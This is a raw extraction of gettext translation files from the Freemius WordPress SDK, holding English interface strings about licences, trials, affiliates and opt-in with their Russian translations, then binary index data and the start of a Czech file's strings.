account. If you have any questions, please contact support.EmailEmail addressEndEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used for the upgrade below and we will resend you the license key.ErrorError received from the server:ExpiredExpires in %sExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.FreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFull nameFunctionGet commission for automated subscription renewals.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!How do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I can't pay for it anymoreI couldn't understand how to make it workI don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf you have a moment, please let us know why you are %sIf you would like to give up the ownership of the %s's account to %s click the Change Ownership button.In %sInstall NowInstall Update NowInstalling plugin: %sInvalid module ID.InvoiceIs ActiveIt looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's not what I was looking forJust letting you know that the add-ons information of %s is being pulled from an external server.KeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Version InstalledLearn moreLengthLicenseLicense KeyLicense keyLifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerMessageMethodMobile appsModuleModule PathModule TypeMore information about %sNameNewNewer Version (%s) InstalledNewsletterNextNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Opt InOpt OutOtherPCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProcess IDProcessingProgram SummaryPromotion methodsProvincePublic KeyPurchase LicenseQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!RequestsRequires WordPress VersionResultSDKSDK PathSave %sScheduled CronsScreenshotsSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSingle Site LicenseSite IDSitesSkip & %sSlugSocial media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart TrialStart my free %sStateSubmit & %sSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThis plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.TimestampTitleTotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser IDUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We made a few tweaks to the %s, %sWebsite, email, and social media statistics (optional)What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress.org Plugin PageYes - %sYou already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou do not have a valid license to access the premium version.You have a %s license.You have successfully updated your %s.You might have missed it, but you don't have to share any data and can just %s the opt-in.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismissdeactivatinge.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,interjection expressing joy or exuberanceYee-hawlike websitesSitesmillisecondsmsnot verifiednounPricenounPricingproduct versionVersionsecondssecsomething somebody says when they are thinking about what you have just said.Hmmstart the trialswitchingthe latest %s version heretrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Leo Fajardo , 2021 Language-Team: Russian (Russia) (http://www.transifex.com/freemius/wordpress-sdk/language/ru_RU/) Language: ru_RU MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=4; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<12 || n%100>14) ? 1 : n%10==0 || (n%10>=5 && n%10<=9) || (n%100>=11 && n%100<=14)? 2 : 3); X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js Закончить активацию %s сейчас Покупка %s плагина успешно состоялась%s установок %s лицензий %s тому назад %s вознаграждения, если клиент купит новую лицензию.Бесплатный период пользования %s закончился. Этот плагин является премиум продуктом и он был деактивирован автоматически. Если Вы планируете дальнейшее его использование, пожалуйста купите лицензию. %s является премиум продуктом. Необходимо купить лицензию перед активацией плагина. %я является новым владельцем аккаунта%s минимальная сумма выплаты %s или выше%s оценка %s оценки %s секунд %звездочка %s звездочки %s время %s раз %s данные cookies предоставляются после первого посещения, чтобы максимально увеличить вероятность заработка. APIЛичный кабинет ДеталиДействия Активировать Активировать %sАктивируйте план %sАктивировать бесплатную версию?Активировать лицензиюАктивируйте этот функционал Активирован Функционал для %sФункционал модуля %sДобавьте другое доменное имя Функционал плагина Настройки плагина Функционал должен быть заявлен на WordPress.org или Freemius Поле для адреса %dПартнерПартнерство После окончания Вашего бесплатного %s, платите всего лиш %sСогласиться и активировать лицензию Все запросы Все типыРазрешить и продолжитьКоличество Автоматическое скачивание и установка %s ( платной версии) %s начнется через %s. Если Вы хотите все сделать в ручном режиме, нажмите на кнопку "Отменить" сейчас. Анонимный отзыв Подать заявку на партнерство Вы уверенны, что хотите удалить все данные Freemius?Вы уверены, что хотите продолжить?Мы выделяем 30 дней для поступления возвратов и поэтому вознаграждения выплачиваются за покупки, которые были совершены более чем 30 дней назад.Авто установка работает только для зарегистрированных пользователей.Автоматическое продление в %sАвтоматическая установка Средний рейтинг Отлично!Стать партнеромСистема оплаты Блокирование Основная часть Название бизнеса Не можете найти лицензионный ключ? Отмена Отменить установку Отменить подписку Отменить тестовый период Аннулирована Отказ от пользования тестовым периодом автоматически блокирует доступ ко всем премиум возможностям. Вы уверены, что хотите отказаться?Изменить лицензию Сменить владельца лицензии Изменить план Оплата Город Очистить кэш APIНажмите здесь, чтобы пользоваться плагином анонимно. Нажмите, чтобы посмотреть отзывы, которые сформировали рейтинг %sКликните, чтобы посмотреть снимок %d на широком экране. КодСовместима с Свяжитесь с намиСвязаться со службой поддержкиКонтакты Контрибьюторы Невозможно активировать %sСтрана Тип задачиДата Деактивировать Деактивировать лицензию ДеактивацияЖурнал устранения ошибок Удалить все аккаунтыДетальнейУ Вас нет лицензионного ключа?Инвестировать в разработку плагина Скачать Скачайте версию %sСкачайте последнюю версию %sСкачай последнюю версиюЗагружен Из-за нарушения условий партнерства мы вынуждены временно заблокировать Ваш аккаунт. Если у Вас возникли вопросы, пожалуйста, обратитесь в службу поддержки. Электронный адрес Электронный адрес Конец Введите домен Вашего сайта или других сайтов на которых Вы намерены продвигать %s.Введите ниже адрес своей электронной почты, которую Вы использовали для обновлений и мы Вам отправим повторно Ваш лицензионный ключ. ОшибкаОшибка сервераСрок действия закончился Окончание срока пользования через %sДополнительные доменные имена Дополнительные доменные имена, где Вы будете продвигать продукт. ФайлФильтр В соответствии с руководством WordPress.org, перед началом тестового периода мы просим, чтобы Вы присоединились к нашему сообществу предоставив информацию о Вашем сайте и также Ваши личные данные, тем самым разрешив %s периодически отправлять сообщения на %s для уведомлений об обновлениях и подтверждения Вашего тестового периода. Бесплатная Бесплатный период пользования Бесплатная версия Freemius APIИсправление ошибок FreemiusFreemius SDK не удалось найти основной файл плагина. Пожалуйста, свяжитесь с sdk@freemius.com с текущей ошибкой.Cостояние Freemius Полное имяФункция Получай вознаграждение за автоматические продления пользования. У Вас есть лицензионный ключ?Привет! Знали ли Вы, что %s предоставляет реферальную программу? Если Вам нравится %s, Вы можете стать нашим представителем и зарабатывать!Тебе нравится пользоваться %s? Воспользуйся всеми нашими премиум возможностями на протяжении %d - дневного тестового периода. Как загрузить и активировать?Как Вы намерены продвигать нас?Я больше не могу оплачивать это. Я не могу понять как сделать так, чтобы оно работалоЯ не хочу делиться личной информацией с ВамиЯ нашел лучший %sЯ провел апгрейд аккаунта, но при попытке синхронизировать лицензию, мой тарифный план не меняется. %s больше не понадобится.%s требовалась на короткое времяIDЕсли у Вас есть время, пожалуйста, сообщите причину почему Вы %sЕсли Вы передаете права пользования аккаунтом %s %s нажмите кнопку " Сменить права использования"В %sУстановить сейчас Провести обновления сейчас Установка плагина: %sНеверный ID модуляСчет активный Вероятно возникли трудности с активацией лицензии. Вероятно деактивация лицензии не состоялась. Возможно, Ваш тестовый период уже закончился. Вероятно Вы все еще пользуетесь сервисом согласно плану %s. Если Вы обновляли или меняли свой тарифный план, то вероятно существуют какие-то трудности связанные с Вашим программным обеспечением. Извините. Вероятно Ваш сайт не использует активную лицензию сейчас. Вероятно один из параметров является неверным. Обновите свой Public Key, Secret Key&User ID и повторите попытку.Это не то, что я искал. Сообщаем, что информация о дополнительных настройках %s предоставляется со стороннего сервера. Ключ Пожалуйста, сообщите о функционале, который не работает, чтобы мы смогли исправить его для дальнейшего использования. Пожалуйста, укажите причину, чтобы мы могли исправиться. Последний Последнее обновление Последняя лицензия Последняя версия установленаУзнать большеДлинна Лицензия Лицензионный ключ Лицензионный ключНа бессрочный период Вам нравится %s? Стань нашим партнером и зарабатывай ;-)Загрузить опцию базы данных Локальный хостинг Журнал изменений Программа сохранения изменений Сообщение Метод Мобильные приложения МодульПуть модуля Тип модуля Больше информации о %sИмяНовое Более новая версия %s установлена Рассылка Следующий No IDБез обязательств платить %s - аннулируй пользование в любое время Бесплатное пользование на протяжении %s дней. Отмена в любое время. Не требуются данные платежной картыБессрочный период пользования Бессрочный Тарифные планы %s не предусматривают тестовый период. O.K.По окончанию срока действия Вашей лицензии, Вы сможете пользоваться бесплатной версией, но у Вас не будет доступа к возможностям %s. ПрисоединитьсяОтказаться от использованияДругиеЖалоба PCIПлатный функционал должен быть заявлен в FreemiusЭлектронный адрес аккаунта PayPalПлатежиВыплаты производятся в долларах США через PayPal.Тарифный план Тарифного плана %s не существует, поэтому Вы не можете начать тестовый период. Тарифный план %s не предусматривает тестового периода. ID тарифного плана Пожалуйста, напишите нам сообщение здесь. Пожалуйста, напишите нам сообщение следующего содержания:Пожалуйста, скачайте %sПожалуйста введите лицензионный ключ, который Вы получили на электронный адрес сразу после покупки. Пожалуйста, предоставьте соответственную статистику вебсайта или страницы социальных сетей, например, количество уникальных посетителей, количество подписчиков, читателей, т. д. ( эта информация останется конфиденциальной). Пожалуйста, пройдите эти шаги для того, чтобы произвести апгрейдПожалуйста, предоставьте максимально детальную информацию о том, как Вы планируете продвигать %s.Пожалуйста, введите Ваше полное имяПлагин Главная страница плагина ID плагина Установка плагина Журнал изменений Описание Часто задаваемые вопросы Функционал&тарифные планы Установка Другие заметки Отзывы Плагин является 'Serviсeware'. Это означает, что он не имеет премиум версию кода. Плагины Синхронизация плагинов и шаблонов Премиум Премиум версия %s была успешно активирована. Премиум версия плагина была установленаПремиум версия Премиум версия уже активированаЦены Политика КонфиденциальностиID процесса Обработка данных Краткое описание программы Методы продвижения Провинция Public Key Купите лицензию Выделенный объем памятиОтправить письмо активации еще раз Порекомендуй %s новым пользователям и зарабатывай %s c каждой успешной продажи. Запросы Необходима версия WordPress РезультатSDKпуть SDKЭкономия %sСпланированные задачиСнимки экрана Secret Key Безопасная страница HTTPS %s воспроизводится с внешнего ресурса К сожалению у нас возникли трудности с отменой Вашего тестового периода. Пожалуйста, повторите попытку через несколько минут.Вероятно, Вы пользуетесь последней версиейВыбрать страну Отправить лицензионный ключУстановить опцию базы данных Лицензия на один сайт Site IDСайтов Пропустить & %sОписательная часть URL Социальные сети ( Facebook, Twitter, etc.)Извините за неудобство. Мы будем рады помочь, если Вы нам предоставите эту возможность. Извините, нам не удалось обновить электронный адрес. Другой пользователь с таким же адресом уже был зарегистрирован. НачалоНачать тестовый периодНачать мой бесплатный %sШтат Отправить&%sПоддержка Форум поддержки Синхронизация данных с сервера ID налога/НДС Пользовательское соглашениеСпасибо за подачу заявки на партнерство. К сожалению, мы приняли решение отказать Вам в этой возможности. Пожалуйста, повторите попытку через 30 дней. Спасибо за подачу заявки на партнерство. Мы рассмотрим Ваши данные на протяжении следующих 14 дней и свяжемся с Вами. Спасибо %sСпасибо, что подтвердили изменение прав использования. Вам отправлено письмо на %s для окончательного подтверждения. %s повредила мой сайт%s не сработала%s не сработала как ожидалось%s отличная возможность, но мне нужен определенный функционал, который вы не поддерживаете. %s не работает%s внезапно перестала работать Процесс установки уже начат и может занять несколько минут. Пожалуйста, подождите окончания процесса и не обновляйте эту страницу. Удаленный пакет плагинов не содержит папку с нужным описанием URL и смена имени не срабатывает. Обновление %s было успешно завершеноШаблон Переключатель шаблона Шаблоны Этот плагин не отмечен как совместимый з Вашей версией WordPress Этот плагин не был тестирован с Вашей текущей версией WordPress. Маркер времени Название ИтогоНаселенный пункт Тестовый период ТипНевозможно присоединиться к системе файлов. Пожалуйста, подтвердите свои данные. Неограниченная лицензия Неограниченные обновления Неограниченное вознаграждение до %s сайтов Обновить Обновить лицензиюНовости, объявления, маркетинг, без спамаСделать апгрейд Загрузите и активируйте скачанную версиюВау!User ID Пользователи Значение Письмо подтверждение было только что отправлено на %s. Если Вы не получите его через 5 минут, пожалуйста, проверьте папку спам.Подтвержден Подтвердите электронный адрес Релиз версии %s состоялся. Смотреть детальней Просмотр платных возможностейПредупреждение Активная лицензия выданная на этот электронный адрес не была найдена. Вы уверены, что предоставили правильный электронный адрес?К сожалению, Ваш почтовый адрес не найден в системе. Вы уверены, что предоставили правильный адрес? Мы усовершенствовали в %s, %s для лучшей работы Вебсайт, электронный адрес и статистика социальных сетей (не обязательно)Каковы были Ваши ожидания? Какой функционал?Какой Ваш %s?Какая стоимость была бы для Вас приемлемой? Что именно Вы ищите? Какое название %s?Где Вы намерены продвигать %s?Страница плагинов WordPress.orgДа - %sВы уже использовали Ваш тестовый периодВы уже на расстоянии одного клика от начала Вашего бесплатного %1$s - дневного тестового периода по тарифному плану %2$s. Все прошло хорошо!Вы уже пользуетесь тестовой версией %s Вам осталось совсем немножко %sУ Вас нет необходимых лицензионных прав для пользования премиум версиейУ Вас есть лицензия %s.Вы успешно обновили Ваш %sВозможно, Вы не обратили внимание, но Вы не обязаны делиться никакими данными и можете просто %s кнопку "Присоединиться". Ваш %s план был успешно обновленВаш бесплатный тестовый период был успешно отменен. Ваша учетная запись была успешно активирована согласно плану %sВаша заявка на партнерство с %s принята! Войдите в Ваш кабинет партнера на %sВаш партнерский аккаунт временно недоступен. Ваш электронный адрес был успешно подтвержден и Вы просто молодец!Ваша лицензия была аннулирована. Если Вы считаете, что это ошибка, пожалуйста свяжитесь с нашей службой поддержки. Срок действия Вашей лицензии закончен. Вы можете продолжать пользоваться всеми возможностями %s продлив Вашу лицензию. Вы также будете получать доступ к обновлениям и поддержке. Срок действия Вашей лицензии закончился. Вы можете продолжать пользоваться бесплатной версией %s на бессрочной основе.Ваша лицензия была успешно активирована. Ваша лицензия была успешно деактивирована и Вы снова пользуетесь планом %s.Ваше имя было успешно обновленоВаш тарифный план был успешно изменен на %s.Ваш тарифный план был успешно изменен. Ваш тестовый период успешно начатИндекс Все верно!%s не работает без %s.%s не может работать без плагина. Внимание!Осталось %s Активация на один год APIЗакрыть Устранение ошибокПоздравления! Заблокировано Соединено Скачать последнюю версиюПомесячно Срок пользования Путь Электронное письмо отправляется Вам на почту на один месяцЕжегодно Один раз в год Один раз Тарифный план Нет секрета Версии SDKЛицензия Синхронизировать Синхронизация лицензии АвторВыключить Включить Основан на %sНачни тестовый период!Закрыть Закрыть Деактивация %s план Оплачивать %sЛучший Привет!Упс!Здравствуйте %sУра!Сайтов мс не подтвержден Стоимость ЦеныВерсия секХм...Начать тестовый периодПереключение Последняя версия %s здесьТестовый периодУдалитьПонизить план Редактировать Спрятать Присоединится Отписаться КупитьПоказать ПропуститьОбновить Сделать апгрейд%s тому назад vendor/freemius/languages/freemius-cs_CZ.mo000064400000107323147600365160015017 0ustar00 Q%A%nS%h%d+&S&%& ' '"')'6<'s'_((#(( ( ( (((())@)R)V)u))))) ))))** ,*6*E*L*5T** *'** ***G*G+f+,2#,!V,x,,,,,,,,, ,, --/-6-J- ^- k- u---Y- .. *.6.?.D.T.(m.%.:... // %/ 0/=/S/[/ `/k/ ~/ ///////00 ;0F0 L0Z0a^0000 0 0 1112 2 %2 22?2jN22 22A24U14444)485-:5h5|5'5575p5h6n6 6666%66 617.97Oh7777B7,58b8 g8 t888 8888 88 9 9"9 +95999@9H9O9 V9 b9n9999!99 9999:: ,:::>:E:M:i: o:{: : :):::4:";5';(];;;-;;U;6=<1t<~<%=D=K= [=e=(t=*="=1=+>&I>p>x>>>>>>>>> >? ?!?0? I?W?n?w?????? ?? ?5?l@&@@@@@@ @@LAfOAA AAA A AA BB $B1B BB MB\XBBBBCB@CVCvCdC-aDD DD'D DDDEEEEEEEEFFF*(FSF*[F^FFFFGdGmG vGG GGGWG"H?HBH6I==I{I II-IIIJ*+JVJZJcJ$wJJ>JJ K&3K9ZK<KbKP4LUL_L;MKM("NGKN#N%N)N$O,OUO) P7P;IP6PPPPP$Q8QRQnQQ&Q*Q7Q2RIRgR3RRRRR S*(S1SSSS#SSST T#T:T OT\TNeTTTT UU-U1>UpUxUUU U U U UU UCVFVQKVV V VVVV VW W W 'W 3W @W NW XW bW nW {W,WX[b\eq\f\>],Z] ] ]]]4]]b^/_!M_o_ _ __ _ ___W_ `$`-`6`=`L` Q` [`h`{```` ```aD aQaXa `aa aaaOab+bb.b(cDcac xcc cc ccc ccc*d3d;dWdldd d ddtd1eAe Vedemete"e8e=e"f+f0fEfMfafifyfff ff f ffffg ,g6g Igjgggggogh$h @hJhYhihphvhii i iiji Gj UjbjTijkmkEl0^l$ll9l% m3mJm!_mm.mwm+n1n KnVnonn.nn n!n+nC*onooo]oGp KpUpkp)}p"pppppqq)q;q [q gqqqyqqqqq qqqqq+q$r ;rFrUrXr mr"yrrrr r/rrs s s2s1Fsxss=ssAs(/t Xtft3ttXt<*u6guu%Jvpvwv vvvvvv vvvvw&w"7wZw!aw wwwwwwwwxx /x9x Sx]x ax mxxxxx x>xx*y yyy yyzzyzuz { {#{>{ C{ P{]{e{t{{{ { {q{5| H|!V|@x| ||z|^]}+}}}~ ~ )~6~=~~~~~O~ Aby 1$  + 9E|M ʀԀ )b4)RW=>' <J%_!Ƀ ,F9_"̄/6V_ag)J+0F\-+ш4*2]Q2T$     + 8C,_ ȋˋӋ ۋ ,CIQYip w Y +19>A R^nszW ڍ   7BHOjry  ʎ!w+k <npC1:t?( Y Jcyi&AQ_4iZrD$U= x`;?U^ R|X.W)X jk@=#dE26v'V~ *!dVnNz}rgo`%@B5pHcvasjSIt947h/WK{T0ul^~3efo6YIG-y>Hm[+{L  |28z#NbA&M.;:FS esgf MDh )ZTC<]Eu,L_8qP*ml}\wK('>]"O9OQab71%\J,xq/"R$503P-B[FG %s to access version %s security & feature updates, and support. The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s.%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is the new owner of the account.%s minimum payout amount.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.APIASCII arrow left icon←ASCII arrow right icon➤AccountAccount DetailsActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate this add-onActivatedAdd Ons for %sAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAffiliateAfter your free %s, pay as little as %sAgree & Activate LicenseAll TypesAllow & ContinueAmountAn unknown error has occurred while trying to set the user's beta mode.An unknown error has occurred.An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.Anonymous feedbackAre you sure you want to delete all Freemius data?Are you sure you want to proceed?Auto renews in %sAverage RatingAwesomeBecome an affiliateBillingBilling & InvoicesBlockingBlog IDBodyBusiness nameBuy a license nowBuy licenseCan't find your license key?CancelCancel %s & ProceedCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanCheckoutCityClear API CacheClear Updates TransientsClick here to use the plugin anonymouslyClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryDateDeactivateDeactivate LicenseDeactivationDebug LogDetailsDon't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload the latest %s versionDownload the latest versionDownloadedEmailEmail addressEndEnter the email address you've used for the upgrade below and we will resend you the license key.ErrorError received from the server:ExpiredExpires in %sExtra DomainsFileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.FreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFull nameFunctionGreat, please install cURL and enable it in your php.ini file. In addition, search for the 'disable_functions' directive in your php.ini file and remove any disabled methods starting with 'curl_'. To make sure it was successfully activated, use 'phpinfo()'. Once activated, deactivate the %s and reactivate it back again.Have a license key?How do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I can't pay for it anymoreI couldn't understand how to make it workI don't know what is cURL or how to install it, help me!I don't like to share my information with youI found a better %sI no longer need the %sI only needed the %s for a short periodIDIf you have a moment, please let us know why you are %sIf you'd like to use the %s on those sites, please enter your license key below and click the activation button.In %sInstall Free Version NowInstall NowInstall Update NowInstalling plugin: %sInvalid module ID.Invalid new user ID or email address.InvoiceIs ActiveIt looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It's not what I was looking forJoin the Beta programKeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense KeyLicense issues?License keyLicense key is empty.LifetimeLocalhostLogLoggerMessageMethodModuleModule PathModule TypeMore information about %sNameNewNew Version AvailableNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo - just deactivateNo IDNo credit card requiredNo expirationO.KOpt InOpt OutOpt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please enter the license key to enable the debug mode:Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleReviewsPluginsPlugins & Themes SyncPremiumPremium versionPremium version already active.PricingPrivacy PolicyProceedProductsProvincePublic KeyPurchase LicensePurchase MoreQuick FeedbackRe-send activation emailRenew licenseRenew your license nowRequestsRequires WordPress VersionResultSDKSDK PathSave %sScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySingle Site LicenseSite IDSitesSkip & %sSlugSorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart TrialStart my free %sStateSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a new version of %s available.TimestampTitleTo enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your "My Profile" section of your User Dashboard:TotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUp to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser DashboardUser IDUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View detailsView paid featuresWarningWe couldn't find your email address in the system, are you sure it's the right address?We made a few tweaks to the %s, %sWe'll make sure to contact your hosting company and resolve the issue. You will get a follow-up email to %s once we have an update.We're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)Welcome to %s! To get started, please enter your license key:What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?WordPress.org Plugin PageWould you like to proceed with the update?YesYes - %sYes - do your thingYou already utilized a trial before.You are just one step away - 